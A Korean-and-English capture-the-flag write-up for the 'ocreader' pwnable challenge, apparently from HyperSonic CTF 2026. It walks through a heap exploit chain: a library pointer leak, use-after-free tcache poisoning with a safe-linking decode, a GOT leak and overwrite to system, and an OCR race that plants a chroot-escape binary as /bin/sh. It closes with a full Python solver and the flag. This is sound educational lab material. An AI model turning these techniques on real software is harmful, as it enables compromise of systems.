HyperSonic CTF 2026 ocreader Writeup
HyperSonic CTF 2026 ocreader WriteupHyperSonic CTF 2026 ocreader WriteupHyperSonic CTF 2026 ocreader 문제 풀이HyperSonic CTF 2026 ocreader writeup
Contents
개요
ocreader는 이미지를 업로드한 뒤 OCR 결과를 VM 명령으로 실행하는 pwnable 문제입니다. 프로그램은 최대 4개의 이미지 슬롯을 관리하고, 각 이미지에는 title, description, path가 연결됩니다. OCR로 추출된 각 줄은 VM의 vm_execute_line에 전달됩니다.
확인한 조건은 다음과 같습니다.
- 카테고리:
pwnable - 목표: OCR 이미지 관리 기능과 VM 명령 처리 흐름을 이용해 flag를 읽습니다.
- 주요 기능: 이미지 저장, OCR 실행, 정보 출력, title 수정, title 삭제
풀이의 출발점은 이미지 슬롯 구조와 VM 명령 처리 방식입니다. 메뉴 쪽에서는 heap 객체를 조작할 수 있고, VM 쪽에서는 OCR 결과가 파일 시스템 명령으로 이어집니다. 두 흐름을 연결하면 GOT를 덮은 뒤 system을 호출할 수 있습니다.
문제 분석
구조와 용어는 다음과 같습니다.
image: 프로그램이 관리하는 이미지 슬롯 객체입니다.title:malloc(0x20)으로 할당되며, 사용자가 입력한32바이트가 저장됩니다.description: VM의ADDDESC명령으로 만들어지는 설명 버퍼입니다.path: 업로드된 이미지 파일 경로입니다. VM의RENAME명령이 참조합니다.OCR 캐시: OCR 결과를 저장해 두는 텍스트 파일입니다. 이미 존재하면 Tesseract를 다시 실행하지 않고 캐시를 읽습니다.blacklist: Tesseract 실행 시tessedit_char_blacklist에 전달되는 전역 문자열입니다.
이미지 슬롯은 다음 구조체와 같습니다.
struct image {
char *title;
char *description;
char *path;
};show info는 title과 description을 puts로 출력합니다. 특히 description은 버퍼의 시작 주소가 아니라 description + 8을 출력합니다. ADDDESC를 빈 인자로 실행하면 description + 8 위치에 VM handler 라이브러리 내부 포인터가 저장됩니다. 그 결과 show info에서 해당 포인터의 하위 바이트가 그대로 새어 나옵니다.
empty ADDDESC:
*(description + 0x00) = 0
*(description + 0x08) = lib_base + 0x40c0
show info:
puts(description + 0x08)첫 번째 leak 값은 다음처럼 계산합니다.
lib_base = leaked_description_pointer - 0x40c0VM handler 라이브러리의 명령 테이블에는 다음 네 가지 opcode가 있습니다.
RENAME
MKDIR
BLACKLIST
ADDDESCvm_execute_line은 OCR 한 줄에서 첫 공백 앞을 opcode로 보고, 테이블의 opcode 문자열과 strcmp로 비교한 뒤 일치하는 handler를 호출합니다.
for each vm_opcode:
if strcmp(command, vm_opcode) == 0:
handler(context, image_index, argument)여기서 strcmp@GOT는 VM handler 라이브러리의 쓰기 가능한 영역에 남아 있습니다. 재배치 정보에서 puts@GOT와 strcmp@GOT의 오프셋은 다음과 같이 확인됩니다.
puts@GOT = lib_base + 0x4010
strcmp@GOT = lib_base + 0x4040즉 strcmp@GOT를 system으로 바꾸면, opcode 비교 지점에서 다음 호출이 일어납니다.
strcmp(command, vm_opcode) -> system(command)다만 프로그램은 chroot 안에서 동작합니다. system은 내부적으로 /bin/sh -c <command>를 실행하므로, chroot 내부의 /bin/sh를 먼저 준비해야 합니다.
핵심 아이디어
풀이는 크게 두 단계입니다.
첫 번째는 메뉴 기능에서 임의 주소 쓰기에 가까운 primitive를 만드는 단계입니다. delete title은 free(image->title)을 호출하지만 포인터를 지우지 않습니다. 이후 edit title은 해당 포인터가 이미 해제되었는지 검사하지 않고 32바이트를 다시 씁니다. 이 때문에 해제된 title chunk의 tcache fd를 수정할 수 있습니다.
두 번째는 OCR/VM 경로에서 chroot 내부의 /bin/sh를 준비하는 단계입니다. VM의 BLACKLIST 명령은 전역 OCR blacklist를 바꿉니다. 빈 인자로 실행하면 blacklist가 잠시 비어 있다가 약 25밀리초 뒤 기본값인 RNM으로 돌아갑니다. 이 짧은 구간에 다른 이미지의 첫 OCR을 성공시키면 RENAME과 MKDIR이 정상적으로 인식됩니다.
공격에 필요한 primitive는 다음과 같습니다.
1. ADDDESC로 VM handler 라이브러리 base 주소 leak
2. title UAF로 tcache fd poisoning
3. forged image 슬롯을 만들어 puts@GOT leak
4. OCR race로 업로드한 정적 실행 파일을 chroot 내부 /bin/sh에 배치
5. strcmp@GOT를 system으로 덮고 VM opcode 비교 지점에서 system 호출순서도 중요합니다. strcmp@GOT를 너무 일찍 덮으면 VM이 BLACKLIST, MKDIR, RENAME을 정상 handler로 처리하지 못합니다. 따라서 /bin/sh 배치 race를 먼저 끝낸 뒤 마지막에 GOT를 덮어야 합니다.
풀이 과정
Step 1. ADDDESC로 VM handler 라이브러리 base 주소 leak
먼저 OCR 결과가 다음 두 줄을 포함하는 이미지를 업로드합니다.
BLACKLIST
ADDDESC이 이미지를 OCR하면 ADDDESC가 빈 인자로 실행됩니다. 앞서 본 것처럼 빈 ADDDESC는 description + 8 위치에 라이브러리 내부 포인터를 저장합니다. 이후 show info를 호출하면 이 포인터가 출력됩니다.
lib_base = leak - 0x40c0이 값으로 VM handler 라이브러리의 GOT 주소를 계산할 수 있습니다.
puts_got = lib_base + 0x4010
strcmp_got = lib_base + 0x4040이 단계의 OCR 결과는 캐시에도 남습니다. 나중에 strcmp@GOT를 덮은 뒤 다시 OCR을 실행할 때 Tesseract를 다시 실행하지 않고, 캐시된 BLACKLIST 줄을 빠르게 VM에 전달할 수 있습니다.
Step 2. title UAF로 image 슬롯 위조
delete title은 title 포인터를 해제하지만 슬롯 내부 포인터를 NULL로 바꾸지 않습니다. 따라서 같은 슬롯에 대해 show info를 호출하면 해제된 chunk의 내용을 puts로 읽을 수 있고, edit title을 호출하면 해제된 chunk에 다시 쓸 수 있습니다.
두 개의 title을 연속으로 해제하면 0x30 tcache bin에 들어갑니다. 두 번째로 해제한 title을 출력하면 safe-linking이 적용된 fd가 leak됩니다. 확인한 heap 배치에서는 두 번째 title이 첫 번째 title보다 0x80바이트 뒤에 있으므로 다음 관계를 이용해 첫 번째 title 주소를 복구할 수 있습니다.
encoded_fd = title0 ^ (title1 >> 12)
title1 = title0 + 0x80반복 계산으로 title0을 얻은 뒤, 확인한 레이아웃에 맞춰 네 번째 이미지 슬롯 구조체의 주소를 계산합니다.
image3 = title0 - 0x250
poison = image3 ^ (title1 >> 12)edit title로 해제된 title1 chunk의 fd를 poison 값으로 바꾸면, 이후 malloc(0x20)이 네 번째 이미지 슬롯 구조체와 겹치는 주소를 반환합니다. 이때 title 입력으로 아래 구조를 써서 이미지 슬롯 자체를 위조합니다.
fake_image3 = (
p64(lib_base + 0x4040) # title -> strcmp@GOT
+ p64(lib_base + 0x4010 - 8) # description -> puts@GOT - 8
+ p64(0) # path
+ p64(0x51) # following heap metadata
)description을 puts@GOT - 8로 둔 이유는 show info가 먼저 description을 역참조한 뒤 description + 8을 출력하기 때문입니다. 이렇게 맞추면 description + 8이 정확히 puts@GOT가 됩니다.
Step 3. puts@GOT로 libc base 계산
위조된 네 번째 슬롯에 대해 show info를 호출하면 puts@GOT에 저장된 libc 주소가 출력됩니다.
libc_base = leaked_puts - 0x87be0
system = libc_base + 0x58750이제 네 번째 슬롯의 title은 strcmp@GOT를 가리키고 있습니다. 따라서 edit title을 호출하면 strcmp@GOT에 원하는 값을 쓸 수 있습니다. 하지만 이 시점에서는 아직 system을 쓰지 않습니다. VM의 정상 opcode handler가 한 번 더 필요하기 때문입니다.
Step 4. OCR race로 chroot 내부 /bin/sh 준비
프로그램은 chroot 환경에서 실행됩니다. system을 호출해도 chroot 내부에 사용할 수 있는 /bin/sh가 없으면 flag를 읽기 어렵습니다. 그래서 별도의 정적 실행 파일을 업로드한 뒤 VM 명령으로 chroot 내부의 /bin/sh 위치로 옮깁니다.
정적 실행 파일의 역할은 단순합니다.
1. 임시 디렉터리를 만들고 그 안으로 chroot한다.
2. 상위 디렉터리로 여러 번 이동한다.
3. 현재 위치를 다시 chroot의 루트로 만든다.
4. 여러 flag 후보 경로를 순서대로 읽는다.파일을 /bin/sh로 옮기기 위해 필요한 OCR 문장은 다음과 같습니다.
MKDIR ../bin
RENAME 2 ../bin/sh문제는 기본 OCR blacklist가 RNM이라는 점입니다. 이 상태에서 위 문장을 OCR하면 R, N, M이 빠져 opcode가 깨질 수 있고, 잘못된 OCR 결과가 캐시에 남으면 이후 재시도도 실패합니다.
그래서 BLACKLIST가 빈 인자로 실행되는 순간을 이용합니다. 이 명령은 전역 blacklist를 비운 뒤 약 25밀리초 동안 유지하고, 이후 다시 RNM으로 복구합니다. 한 번의 타이밍에 의존하면 불안정하므로 캐시된 BLACKLIST 이미지를 여러 번 실행하면서 두 번째 이미지의 첫 OCR도 여러 번 요청했습니다.
캐시된 BLACKLIST OCR 32회 요청
두 번째 이미지 OCR 64회 요청성공하면 VM의 MKDIR handler가 chroot 내부에 /bin을 만들고, RENAME handler가 업로드된 정적 실행 파일을 /bin/sh 위치로 옮깁니다. 이 단계가 끝난 뒤에야 strcmp@GOT를 덮을 수 있습니다.
Step 5. strcmp@GOT 덮어쓰기 후 VM opcode 비교 지점 트리거
마지막으로 네 번째 슬롯의 title을 수정합니다. 해당 포인터는 이미 strcmp@GOT를 가리키므로, 입력한 system 주소가 그대로 GOT에 써집니다.
그 다음 캐시된 OCR 이미지를 한 번 더 실행합니다. vm_execute_line은 opcode 비교를 위해 strcmp(command, vm_opcode)를 호출해야 하지만, GOT가 바뀌었기 때문에 실제 호출은 system(command)가 됩니다.
command = "BLACKLIST"
system("BLACKLIST")system은 /bin/sh -c BLACKLIST를 실행합니다. 앞 단계에서 chroot 내부의 /bin/sh를 정적 실행 파일로 바꿔 두었으므로, 이 실행 파일이 동작하면서 chroot를 벗어나 flag 후보 경로를 읽습니다.
Exploit / Solver
최종 exploit은 leak 값으로 base 주소를 계산하고, tcache poisoning으로 네 번째 이미지 슬롯을 위조한 뒤, OCR race와 GOT 덮어쓰기를 순서대로 실행합니다. 아래 코드는 연결과 메뉴 동기화 부분을 제외한 핵심 흐름입니다. c는 이미지 저장, OCR 실행, 정보 출력, title 수정, title 삭제를 수행하는 클라이언트 객체라고 두겠습니다.
import re
import struct
import time
LIB_DESC_PTR_OFF = 0x40C0
LIB_PUTS_GOT = 0x4010
LIB_STRCMP_GOT = 0x4040
LIBC_PUTS = 0x87BE0
LIBC_SYSTEM = 0x58750
def p64(x):
return struct.pack("<Q", x)
def u64(data):
return struct.unpack("<Q", data[:8].ljust(8, b"\x00"))[0]
def leak_after(out, marker, n=6):
pos = out.index(marker) + len(marker)
return u64(out[pos:pos + n])
def decode_title0(encoded):
title0 = encoded
for _ in range(8):
title0 = encoded ^ ((title0 + 0x80) >> 12)
return title0
def pipeline_ocr(c, idx, count):
if not c.at_prompt:
c.recvuntil(b"> ")
c.send((f"2\n{idx}\n" * count).encode())
c.at_prompt = False
def race_make_bin_sh(c):
pipeline_ocr(c, 0, 32)
pipeline_ocr(c, 1, 64)
time.sleep(2.0)
out = c.recv_some(timeout=0.5)
c.at_prompt = True
if b"image renamed" not in out:
raise RuntimeError("OCR race failed")
def exploit(c, boot_png, stage_png, escape_elf):
escape_elf += b"\x00"
assert len(escape_elf) % 3 == 0
c.store_image(boot_png, b"A" * 32)
c.store_image(stage_png, b"B" * 32)
c.ocr_image(0)
c.wait_prompt(timeout=5.0)
time.sleep(1.0)
c.recv_some(timeout=0.2)
c.at_prompt = True
info0 = c.show_info(0)
lib_base = leak_after(info0, b"description: ") - LIB_DESC_PTR_OFF
c.delete_title(0)
c.delete_title(1)
info1 = c.show_info(1)
encoded_fd = leak_after(info1, b"title: ")
title0 = decode_title0(encoded_fd)
title1 = title0 + 0x80
image3 = title0 - 0x250
c.edit_title(1, p64(image3 ^ (title1 >> 12)))
c.store_image(escape_elf, b"C" * 32)
fake_image3 = (
p64(lib_base + LIB_STRCMP_GOT)
+ p64(lib_base + LIB_PUTS_GOT - 8)
+ p64(0)
+ p64(0x51)
)
c.store_image(b"ABC", fake_image3)
info3 = c.show_info(3)
libc_base = leak_after(info3, b"description: ") - LIBC_PUTS
system = libc_base + LIBC_SYSTEM
race_make_bin_sh(c)
c.edit_title(3, p64(system))
pipeline_ocr(c, 0, 1)
time.sleep(1.0)
out = c.recv_some(timeout=2.0)
return re.search(rb"(?:flag|Hypersonic)\{[^}\r\n]+\}", out).group(0)한 가지 주의할 점은 Base64 디코더입니다. 업로드 데이터 길이가 3의 배수가 아니면 = padding이 들어가고, 제공된 디코더가 이를 안정적으로 처리하지 못했습니다. 그래서 정적 실행 파일 뒤에 NUL 바이트를 붙여 길이를 맞췄습니다.
결과
원격 실행에서 flag를 확인했습니다.
Hypersonic{0cr_n3v3r_d13_1n_chr00t}Overview
ocreader is a pwnable challenge that uploads an image and then runs its OCR output as VM commands. The program manages up to 4 image slots, and each image is associated with a title, description, and path. Each line extracted by OCR is passed to the VM's vm_execute_line.
The conditions I confirmed are as follows.
- Category:
pwnable - Goal: Read the flag by abusing the OCR image management feature and the VM command processing flow.
- Main features: store image, run OCR, show info, edit title, delete title
The solution starts with the image slot structure and how VM commands are processed. On the menu side we can manipulate heap objects, and on the VM side the OCR output leads to filesystem commands. Connecting the two flows lets us overwrite the GOT and then call system.
Challenge analysis
The structures and terms used here:
image: the image slot object managed by the program.title: allocated withmalloc(0x20), stores the32bytes the user entered.description: the description buffer created by the VM'sADDDESCcommand.path: the uploaded image file path. The VM'sRENAMEcommand references it.OCR cache: a text file that stores the OCR result. If it already exists, the cache is read instead of re-running Tesseract.blacklist: a global string passed totessedit_char_blacklistwhen Tesseract runs.
The image slot maps to the following struct.
struct image {
char *title;
char *description;
char *path;
};show info prints title and description with puts. In particular, for description it prints description + 8 rather than the start of the buffer. Running ADDDESC with an empty argument stores a pointer internal to the VM handler library at description + 8. As a result, show info leaks the lower bytes of that pointer directly.
empty ADDDESC:
*(description + 0x00) = 0
*(description + 0x08) = lib_base + 0x40c0
show info:
puts(description + 0x08)The first leak value is computed as follows.
lib_base = leaked_description_pointer - 0x40c0The VM handler library's command table has the following four opcodes.
RENAME
MKDIR
BLACKLIST
ADDDESCvm_execute_line treats the part of an OCR line before the first space as the opcode, compares it against the table's opcode strings with strcmp, and then calls the matching handler.
for each vm_opcode:
if strcmp(command, vm_opcode) == 0:
handler(context, image_index, argument)Here strcmp@GOT lives in a writable region of the VM handler library. From the relocation info, the offsets of puts@GOT and strcmp@GOT are as follows.
puts@GOT = lib_base + 0x4010
strcmp@GOT = lib_base + 0x4040So if we replace strcmp@GOT with system, the following call happens at the opcode comparison point.
strcmp(command, vm_opcode) -> system(command)However, the program runs inside a chroot. system internally runs /bin/sh -c <command>, so we first have to prepare a /bin/sh inside the chroot.
Key idea
The overall flow of the attack splits into two stages.
The first is building a primitive close to an arbitrary write out of the menu features. delete title calls free(image->title) but does not clear the pointer. edit title then writes 32 bytes again without checking whether the pointer has already been freed. This lets us modify the tcache fd of a freed title chunk.
The second is preparing a /bin/sh inside the chroot through the OCR/VM path. The VM's BLACKLIST command changes the global OCR blacklist. Running it with an empty argument leaves the blacklist briefly empty before it reverts to the default RNM about 25 milliseconds later. If we make another image's first OCR succeed during this short window, RENAME and MKDIR get recognized correctly.
The primitives needed for the attack are as follows.
1. Leak the VM handler library base with ADDDESC
2. Poison a tcache fd via title UAF
3. Build a forged image slot to leak puts@GOT
4. Use the OCR race to place the uploaded static binary at /bin/sh inside the chroot
5. Overwrite strcmp@GOT with system and call system at the VM opcode comparison pointOrdering also matters. If strcmp@GOT is overwritten too early, the VM can no longer process BLACKLIST, MKDIR, and RENAME as normal handlers. So the /bin/sh placement race has to finish first, and the GOT overwrite comes last.
Solution
Step 1. Leak the VM handler library base with ADDDESC
First upload an image whose OCR result contains the following two lines.
BLACKLIST
ADDDESCOCR-ing this image runs ADDDESC with an empty argument. As seen earlier, an empty ADDDESC stores a pointer internal to the library at description + 8. Calling show info afterward prints this pointer.
lib_base = leak - 0x40c0This value gives the GOT addresses of the VM handler library.
puts_got = lib_base + 0x4010
strcmp_got = lib_base + 0x4040The OCR result of this step is also left in the cache. Later, when we re-run OCR after overwriting strcmp@GOT, Tesseract will not re-run, and the cached BLACKLIST line can be fed to the VM quickly.
Step 2. Forge an image slot via title UAF
delete title frees the title pointer but does not set the slot's internal pointer to NULL. So calling show info on the same slot reads the contents of the freed chunk with puts, and calling edit title writes to the freed chunk again.
Freeing two title chunks in a row puts them into the 0x30 tcache bin. Printing the second freed title leaks the fd with safe-linking applied. In the heap layout I observed, the second title is 0x80 bytes after the first, so the address of the first title can be recovered using the following relation.
encoded_fd = title0 ^ (title1 >> 12)
title1 = title0 + 0x80After recovering title0 by iteration, compute the address of the fourth image slot struct according to the observed layout.
image3 = title0 - 0x250
poison = image3 ^ (title1 >> 12)Using edit title to change the fd of the freed title1 chunk to poison makes the next malloc(0x20) return an address overlapping the fourth image slot struct. At this point, use the title input to write the following structure, forging the image slot itself.
fake_image3 = (
p64(lib_base + 0x4040) # title -> strcmp@GOT
+ p64(lib_base + 0x4010 - 8) # description -> puts@GOT - 8
+ p64(0) # path
+ p64(0x51) # following heap metadata
)description is set to puts@GOT - 8 because show info first dereferences description and then prints description + 8. Aligned this way, description + 8 is exactly puts@GOT.
Step 3. Compute the libc base from puts@GOT
Calling show info on the forged fourth slot prints the libc address stored in puts@GOT.
libc_base = leaked_puts - 0x87be0
system = libc_base + 0x58750The fourth slot's title now points at strcmp@GOT. So calling edit title writes an arbitrary value to strcmp@GOT. But we do not write system yet. One more normal VM opcode handler run is still needed.
Step 4. Prepare a /bin/sh inside the chroot via an OCR race
The program runs in a chroot environment. Even if system is called, reading the flag is hard without a usable /bin/sh inside the chroot. So we upload a separate static binary and move it to the /bin/sh location inside the chroot with VM commands.
The static binary's job is simple.
1. Create a temp directory and chroot into it.
2. Move up to the parent directory several times.
3. Make the current location the chroot root again.
4. Read several candidate flag paths in order.The OCR sentences needed to move the file to /bin/sh are as follows.
MKDIR ../bin
RENAME 2 ../bin/shThe problem is that the default OCR blacklist is RNM. OCR-ing the sentences above in that state can drop R, N, and M, breaking the opcode, and if a bad OCR result is cached, later retries also fail.
So we use the moment BLACKLIST runs with an empty argument. This command empties the global blacklist and holds it for about 25 milliseconds before restoring it to RNM. Relying on a single timing is unstable, so I ran the cached BLACKLIST image many times while also requesting the second image's first OCR many times.
32 requests of the cached BLACKLIST OCR
64 requests of the second image's OCROn success, the VM's MKDIR handler creates /bin inside the chroot, and the RENAME handler moves the uploaded static binary to the /bin/sh location. Only after this step can we overwrite strcmp@GOT.
Step 5. Overwrite strcmp@GOT and trigger the VM opcode comparison point
Finally, edit the fourth slot's title. Since that pointer already points at strcmp@GOT, the system address entered is written straight into the GOT.
Then run a cached OCR image once more. vm_execute_line has to call strcmp(command, vm_opcode) for the opcode comparison, but because the GOT has been changed, the actual call becomes system(command).
command = "BLACKLIST"
system("BLACKLIST")system runs /bin/sh -c BLACKLIST. Since the earlier step replaced the chroot's /bin/sh with the static binary, that binary runs, escapes the chroot, and reads the candidate flag paths.
Exploit / Solver
The final exploit computes base addresses from the leaks, forges the fourth image slot via tcache poisoning, and then runs the OCR race and GOT overwrite in order. The code below is the core flow, excluding the connection and menu synchronization parts. Let c be a client object that performs store image, run OCR, show info, edit title, and delete title.
import re
import struct
import time
LIB_DESC_PTR_OFF = 0x40C0
LIB_PUTS_GOT = 0x4010
LIB_STRCMP_GOT = 0x4040
LIBC_PUTS = 0x87BE0
LIBC_SYSTEM = 0x58750
def p64(x):
return struct.pack("<Q", x)
def u64(data):
return struct.unpack("<Q", data[:8].ljust(8, b"\x00"))[0]
def leak_after(out, marker, n=6):
pos = out.index(marker) + len(marker)
return u64(out[pos:pos + n])
def decode_title0(encoded):
title0 = encoded
for _ in range(8):
title0 = encoded ^ ((title0 + 0x80) >> 12)
return title0
def pipeline_ocr(c, idx, count):
if not c.at_prompt:
c.recvuntil(b"> ")
c.send((f"2\n{idx}\n" * count).encode())
c.at_prompt = False
def race_make_bin_sh(c):
pipeline_ocr(c, 0, 32)
pipeline_ocr(c, 1, 64)
time.sleep(2.0)
out = c.recv_some(timeout=0.5)
c.at_prompt = True
if b"image renamed" not in out:
raise RuntimeError("OCR race failed")
def exploit(c, boot_png, stage_png, escape_elf):
escape_elf += b"\x00"
assert len(escape_elf) % 3 == 0
c.store_image(boot_png, b"A" * 32)
c.store_image(stage_png, b"B" * 32)
c.ocr_image(0)
c.wait_prompt(timeout=5.0)
time.sleep(1.0)
c.recv_some(timeout=0.2)
c.at_prompt = True
info0 = c.show_info(0)
lib_base = leak_after(info0, b"description: ") - LIB_DESC_PTR_OFF
c.delete_title(0)
c.delete_title(1)
info1 = c.show_info(1)
encoded_fd = leak_after(info1, b"title: ")
title0 = decode_title0(encoded_fd)
title1 = title0 + 0x80
image3 = title0 - 0x250
c.edit_title(1, p64(image3 ^ (title1 >> 12)))
c.store_image(escape_elf, b"C" * 32)
fake_image3 = (
p64(lib_base + LIB_STRCMP_GOT)
+ p64(lib_base + LIB_PUTS_GOT - 8)
+ p64(0)
+ p64(0x51)
)
c.store_image(b"ABC", fake_image3)
info3 = c.show_info(3)
libc_base = leak_after(info3, b"description: ") - LIBC_PUTS
system = libc_base + LIBC_SYSTEM
race_make_bin_sh(c)
c.edit_title(3, p64(system))
pipeline_ocr(c, 0, 1)
time.sleep(1.0)
out = c.recv_some(timeout=2.0)
return re.search(rb"(?:flag|Hypersonic)\{[^}\r\n]+\}", out).group(0)One thing to watch out for is the Base64 decoder. If the upload data length is not a multiple of 3, = padding is added, and the provided decoder did not handle that reliably. So I appended a NUL byte after the static binary to fix the length.
Result
I confirmed the flag in the remote run.
Hypersonic{0cr_n3v3r_d13_1n_chr00t}